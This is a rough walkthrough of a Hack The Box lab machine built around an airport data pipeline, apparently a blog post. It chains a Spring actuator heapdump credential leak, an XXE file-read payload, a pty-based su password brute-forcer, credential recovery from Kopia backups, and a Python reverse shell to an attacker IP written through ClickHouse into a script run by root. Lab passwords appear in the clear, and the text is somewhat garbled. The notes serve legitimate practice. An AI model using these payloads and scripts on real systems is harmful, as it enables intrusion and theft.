Command: nmap -Pn -sV -A -sS 10.129.88.77 -o nmap

Command: echo “10.129.88.77 api.htb-airport.htb htb-airport.htb” | sudo tee -a /etc/hosts

Visit http://api.htb-airport.htb/actuator and download

Command: curl -s -H “Host: api.htb-airport.htb” http://10.129.88.108/actuator/heapdump -o heapdump.hprof

Command: curl -s http://10.129.88.88:8081/ | python3 -m json.tool

๐ฏ Now We Have the Real Target โ AIDX XML Ingest
The Uvicorn service exposes exactly one dangerous endpoint:
text
POST /feeds/aidx Content-Type: application/xml Max: 262144 bytes (256 KB)
And the hint is right there in the service description:
“Accepts AIDX XML for processing. Ingest does not parse. Full validation happens downstream.“
That last sentence is the clue. The ingest service is a pass-through โ it accepts XML and forwards it downstream. The downstream systems do parse it โ which is where the attack surface lives.
๐ What’s AIDX?
AIDX is the Aviation Information Data Exchange standard โ an XML format used by airlines and airports for flight notifications. The required elements tell us the format:
xml
<IATA_AIDX_FlightLegNotifRQ>
<Originator>...</Originator>
<FlightLeg>
<LegIdentifier>
...
</LegIdentifier>
</FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
The Attack Surface
The service description tells us exactly where the vulnerability is:
- The ingest service does NOT parse โ it just accepts bytes and forwards
- Downstream validation โ the Spring Boot gateway or another service parses the XML
- Parse of attacker-controlled XML โ the classic bugs:
- XXE (XML External Entity) โ read local files, SSRF
- XEE / billion laughs โ DoS via entity expansion
- SSTI / XPath injection โ if data is later interpolated into templates or queries
- Deserialization โ if AIDX is turned into Java/Python objects unsafely
First Step: Send a Valid Minimal AIDX Payload
Let’s confirm the ingest path works and see how it behaves:
Command: —
cat > aidx_minimal.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00">
<Originator>test-app</Originator>
<FlightLeg>
<LegIdentifier>
<Airline>HT</Airline>
<FlightNumber>123</FlightNumber>
<DepartureAirport>LHR</DepartureAirport>
<ArrivalAirport>JFK</ArrivalAirport>
<DepartureDate>2026-10-15</DepartureDate>
</LegIdentifier>
</FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
EOF
curl -i -X POST http://10.129.88.15:8081/feeds/aidx \
-H "Content-Type: application/xml" \
--data-binary @aidx_minimal.xml

[Uvicorn :8081] โ POST /feeds/aidx
โ
โผ
[Topic: aidx.flightleg.raw.v1]
โ
โผ
[Downstream consumer]
โ
โโโ parses XML
โโโ talks to H2 DB (terminaldb)
โโโ updates gateway upstreams
Command: strings heapdump.hprof | grep -iE “clickhouse|password|svc_events|CH_PW|partner” | sort -u | head -40

Command: echo ‘913dc251eabfb630365baf712ab06fe35426bef396fa0e38fba998bf3548e64b:bc9b975f1ee280ab’ > ch_hash.txt
Command: hashcat -m 1420 ch_hash.txt /usr/share/wordlists/rockyou.txt –force

the rockyou.txt did not contain that passwordm i ran the following command:
Command: grep -n -i -B 10 -A 10 “SVC_EVENTS” /tmp/all_strings.txt | head -80

FOUND IT โ The Plaintext Password Is Right There
Look at this from the heapdump:
text
254906-Yl4aCgh4y2PnU! 254907-svc_events! 254908-jdbc:h2:mem:terminaldb;MODE=PostgreSQL;DB_CLOSE_DELAY=-1!
And again, unmistakably, in the DataSourceConfig constructor call:
text
257990-8jdbc:h2:mem:terminaldb;MODE=PostgreSQL;DB_CLOSE_DELAY=-1 257991-setJdbcUrl 257992-(Ljava/lang/String;)V 257993:svc_events 257994-setUsername 257995-Yl4aCgh4y2PnU 257996-setPassword 257997-terminal-edge-pool 257998-setPoolName
Username: svc_events
Password: Yl4aCgh4y2PnU
Command: curl -s “http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=SELECT+currentUser()“

Command: curl -s -X POST “http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=INSERT+INTO+partner_feed.flightleg_json+(transaction_id%2C+originator)+VALUES+(%27tx-injected%27%2C+%27EVIL%27)” -d ”
Command: curl -s -X POST “http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=SELECT+transaction_id%2C+originator%2C+ingested+FROM+partner_feed.flightleg_json+ORDER+BY+ingested+DESC+LIMIT+3+FORMAT+TabSeparated” -d ”

cat > /tmp/xxe_airline.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE IATA_AIDX_FlightLegNotifRQ [
<!ENTITY xxe SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">
]>
<IATA_AIDX_FlightLegNotifRQ>
<Originator Code="AA"/>
<FlightLeg>
<LegIdentifier>
<Airline>&xxe;</Airline>
<FlightNumber>1111</FlightNumber>
<DepartureAirport>AAA</DepartureAirport>
<ArrivalAirport>BBB</ArrivalAirport>
<OriginDate>2026-10-16</OriginDate>
<RepeatNumber>1</RepeatNumber>
</LegIdentifier>
</FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
EOF
curl -s -X POST \
'http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=INSERT+INTO+partner_feed.flightleg_raw_kafka+FORMAT+RawBLOB' \
--data-binary @/tmp/xxe_airline.xml
sleep 8
curl -s -X POST \
'http://db.htb-airport.htb/?user=svc_events&password=Yl4aCgh4y2PnU&query=SELECT+airline%2C+event%2C+ingested+FROM+partner_feed.flightleg_json+ORDER+BY+ingested+DESC+LIMIT+1+FORMAT+Vertical' \
-d ''

Or execute the folloiwng:
Command: SELECT airline, event, ingested
FROM partner_feed.flightleg_json
ORDER BY ingested DESC
LIMIT 1
FORMAT Vertical;

Command: sshpass -p ‘N*******3’ ssh -o StrictHostKeyChecking=no svc-infra@10.129.3.3

Command: python3 -m http.server 7777

Command: wget http://10.10.12.11:7777/rockyou.txt -O /tmp/rockyou.txt

pkill -f rock.py
split -n l/8 -d /tmp/rockyou.txt /tmp/rk_
# Create a chunk-aware version
cat > /tmp/rockchunk.py <<'PYEOF'
import pty, os, time, select, sys
WORDLIST = sys.argv[1]
TARGET = "martin_cole"
def try_pw(pw):
pid, fd = pty.fork()
if pid == 0:
os.execvp("su", ["su", "-", TARGET])
buf = b""
t = time.time() + 2
while time.time() < t:
r,_,_ = select.select([fd],[],[],0.05)
if r:
try: buf += os.read(fd, 4096)
except OSError: break
if b"assword" in buf: break
try: os.write(fd, pw.encode() + b"\n")
except OSError: pass
out = b""
t = time.time() + 0.8
while time.time() < t:
r,_,_ = select.select([fd],[],[],0.05)
if not r: continue
try: chunk = os.read(fd, 4096)
except OSError: break
if not chunk: break
out += chunk
if b"Authentication failure" in out: break
try: os.write(fd, b"echo M$((7*7))\n")
except OSError: pass
t = time.time() + 0.8
while time.time() < t:
r,_,_ = select.select([fd],[],[],0.05)
if not r: continue
try: chunk = os.read(fd, 4096)
except OSError: break
if not chunk: break
out += chunk
if b"M49" in out: break
try: os.close(fd)
except OSError: pass
try: os.waitpid(pid, 0)
except OSError: pass
return b"M49" in out
with open(WORDLIST, "rb") as f:
for raw in f:
pw = raw.rstrip(b"\r\n").decode("utf-8", "replace")
if not pw: continue
if try_pw(pw):
print(f"FOUND:{pw}", flush=True)
open("/tmp/found.txt","w").write(pw)
os._exit(0)
PYEOF
for f in /tmp/rk_0*; do
nohup python3 /tmp/rockchunk.py "$f" > "/tmp/bf_$(basename $f).log" 2>&1 &
done
disown -a
echo "8 workers started"
# Watch all
tail -f bf_rk_*.log 2>/dev/null &

Command: tail -f fil.log

Command: su martin_cole, enter password

Command: ls -la ~/backups/

Command: kopia repository status

Command: kopia snapshot list –all

Command: kopia snapshot restore k******************1 restore

Command: grep -rn ‘clickhouse-client’ restore/ 2>/dev/null
passowrd: N3v3rs33nD4T4 ;

start your listener
Command: nc -lvnp 7676

Command: CH_PW=’N*******’
curl -s “http://127.0.0.1:8123/?user=default&password=$CH_PW“
–data-binary “INSERT INTO FUNCTION file(‘/var/lib/clickhouse/user_files/aidx_quarantine.py’, ‘LineAsString’) SELECT ‘import os,socket,subprocess;s=socket.socket();s.connect((“10.10.11.11”,7676));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([“/bin/sh”,”-i”])’”

Command: id

Command: cat /root/root.txt

Understood โ here are the rough notes with the flag values redacted.
Stream HTB โ Rough Notes
Recon
nmap -sC -sV -p- <TARGET_IP>
Open: 22 (SSH), 80 (nginx), 8081 (uvicorn AIDX ingest).
Add vhosts to /etc/hosts (or use curl -H 'Host: ...'):
<TARGET_IP> api.htb-airport.htb db.htb-airport.htb stream.htb
Step 1 โ Spring Boot Actuator heapdump โ ClickHouse creds
curl -s http://api.htb-airport.htb/actuator
# โ exposes /actuator/heapdump
curl -s http://api.htb-airport.htb/actuator/heapdump -o /tmp/heap.bin
strings /tmp/heap.bin | grep -iE 'password|jdbc|clickhouse'
Recovered: svc_events / Yl4aCgh4y2PnU (ClickHouse user with SELECT, INSERT ON partner_feed.*).
Verify:
curl -s "http://127.0.0.1:8123/?user=svc_events&password=Yl4aCgh4y2PnU" \
--data-binary 'SHOW TABLES FROM partner_feed'
# flightleg_raw, flightleg_json, flightleg_raw_kafka, ...
Step 2 โ XXE via /feeds/aidx โ Kafka SASL creds
/opt/aidx-pipeline/app/ingest_api.py does NOT parse XML โ only checks for 4 required tag names. parser_worker.py uses lxml with resolve_entities=True, no_network=False โ classic XXE.
Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">]>
<IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00"
Version="22.1" TimeStamp="2026-08-20T09:12:00Z"
TransactionIdentifier="xxe-1">
<Originator Code="XX"/>
<FlightLeg><LegIdentifier>
<Airline>&xxe;</Airline>
<FlightNumber>1</FlightNumber>
<DepartureAirport>A</DepartureAirport>
<ArrivalAirport>B</ArrivalAirport>
<OriginDate>2026-01-01</OriginDate>
</LegIdentifier>
<LegData><RemarkFreeText>&xxe;</RemarkFreeText></LegData></FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
Send:
curl -s -X POST http://127.0.0.1:8081/feeds/aidx \
-H 'Content-Type: application/xml' --data-binary @/tmp/xxe.xml
Read back from ClickHouse:
curl -s "http://127.0.0.1:8123/?user=svc_events&password=Yl4aCgh4y2PnU" \
--data-binary "SELECT event FROM partner_feed.flightleg_json WHERE transaction_id='xxe-1' FORMAT Vertical"
Got Kafka SASL PLAIN creds: svc_infra / Ny2hdpme$bwT3.
Step 3 โ SSH as svc-infra
sshpass -p 'Ny2hdpme$bwT3' ssh svc-infra@<TARGET_IP>
Step 4 โ Brute-force martin_cole via su
No faillock, no pam_tally โ safe to brute force.
Serve rockyou from Kali:
cd /usr/share/wordlists && python3 -m http.server 8888
Grab it on stream:
wget http://<KALI_IP>:8888/rockyou.txt -O /tmp/rockyou.txt
Brute-force with pty (su requires a TTY):
# /tmp/rock.py
import pty, os, time, select, sys
WORDLIST = "/tmp/rockyou.txt"
TARGET = "martin_cole"
def try_pw(pw):
pid, fd = pty.fork()
if pid == 0: os.execvp("su", ["su", "-", TARGET])
buf = b""; t = time.time() + 3
while time.time() < t:
r,_,_ = select.select([fd],[],[],0.1)
if r:
try: buf += os.read(fd, 4096)
except OSError: break
if b"assword" in buf: break
try: os.write(fd, pw.encode()+b"\n")
except OSError: pass
out=b""; t=time.time()+1.0
while time.time() < t:
r,_,_ = select.select([fd],[],[],0.1)
if not r: continue
try: chunk=os.read(fd,4096)
except OSError: break
if not chunk: break
out+=chunk
if b"Authentication failure" in out: break
try: os.write(fd, b"echo X_MARK_$((7*7))\n")
except OSError: pass
t=time.time()+1.0
while time.time() < t:
r,_,_ = select.select([fd],[],[],0.1)
if not r: continue
try: chunk=os.read(fd,4096)
except OSError: break
if not chunk: break
out+=chunk
if b"X_MARK_49" in out: break
try: os.close(fd)
except OSError: pass
try: os.waitpid(pid,0)
except OSError: pass
return b"X_MARK_49" in out
for n, raw in enumerate(open(WORDLIST,'rb'), 1):
pw = raw.rstrip(b"\r\n").decode('utf-8','replace')
if not pw: continue
if try_pw(pw):
print(f"[+] FOUND: {pw} (attempt {n})")
sys.exit(0)
Run: python3 /tmp/rock.py
Result: tinkerbell
Step 5 โ User flag
su martin_cole # password: tinkerbell
cat ~/user.txt
# <USER_FLAG>
Step 6 โ Kopia backup โ ClickHouse default password
Kopia repo is in martin_cole’s home, already connected:
kopia repository status
kopia snapshot list --all
# <snapshot-id> /home/martin_cole/ch-logs
kopia snapshot restore <SNAPSHOT_ID> /tmp/restore
In ch-logs/clickhouse-server.err.log โ a leaked ALTER USER default IDENTIFIED BY '...':
ALTER USER default IDENTIFIED BY 'N3v3rs33nD4T4'
ClickHouse default password: N3v3rs33nD4T4
Verify:
CH_PW='N3v3rs33nD4T4'
curl -s "http://127.0.0.1:8123/?user=default&password=$CH_PW" \
--data-binary "SELECT currentUser(), version()"
# default 26.8.1.1746
Step 7 โ Root via ClickHouse file() โ root-run formatter
The drainer runs every 2 min as root:
/etc/systemd/system/aidx-dlq-drainer.serviceโUser=root,ExecStart=/usr/bin/python3 /opt/ops/dlq_drainer.py- Consumes
aidx.flightleg.dlq.v1and runspython3 /var/lib/clickhouse/user_files/aidx_quarantine.pyon each message
default has WRITE ON FILE, so overwrite the formatter with a reverse shell.
Start listener on Kali:
nc -lvnp 4444
Write payload via ClickHouse:
CH_PW='N3v3rs33nD4T4'
curl -s "http://127.0.0.1:8123/?user=default&password=$CH_PW" \
--data-binary "INSERT INTO FUNCTION file('/var/lib/clickhouse/user_files/aidx_quarantine.py', 'LineAsString') SELECT 'import os,socket,subprocess;s=socket.socket();s.connect((\"<KALI_IP>\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([\"/bin/sh\",\"-i\"])'"
Trigger the drainer (or wait โค2 min for the timer):
echo 'trigger' | /opt/kafka_2.13-4.3.1/bin/kafka-console-producer.sh \
--bootstrap-server 127.0.0.1:9092 --topic aidx.flightleg.dlq.v1
Catch reverse shell on Kali โ root.
Step 8 โ Root flag
cat /root/root.txt
# <ROOT_FLAG>
Clean up
systemctl stop aidx-dlq-drainer.timer # as root
Key primitives
| Primitive | Detail |
|---|---|
| Actuator heapdump | Unrestricted heap dump โ creds from memory |
| XXE | lxml with resolve_entities=True, no_network=False โ file read as svc-infra |
| XXE exfil channel | Parser writes parsed JSON to Kafka โ ClickHouse; read back as another user |
| Brute force via pty | su needs a TTY โ use pty.fork() |
| Kopia passwordless | Filesystem repo in user’s home; password from repository.config.kopia-password (base64) |
| Log leak | ClickHouse err.log contained the plaintext ALTER USER ... IDENTIFIED BY |
ClickHouse file() | default has WRITE ON FILE; INTO OUTFILE blocked but INSERT INTO FUNCTION file(...) works |
| Root systemd timer | aidx-dlq-drainer.service runs as root every 2 min; hijack what it executes |
| Kafka PLAINTEXT | allow.everyone.if.no.acl.found=true โ produce to DLQ without auth |




Leave a Reply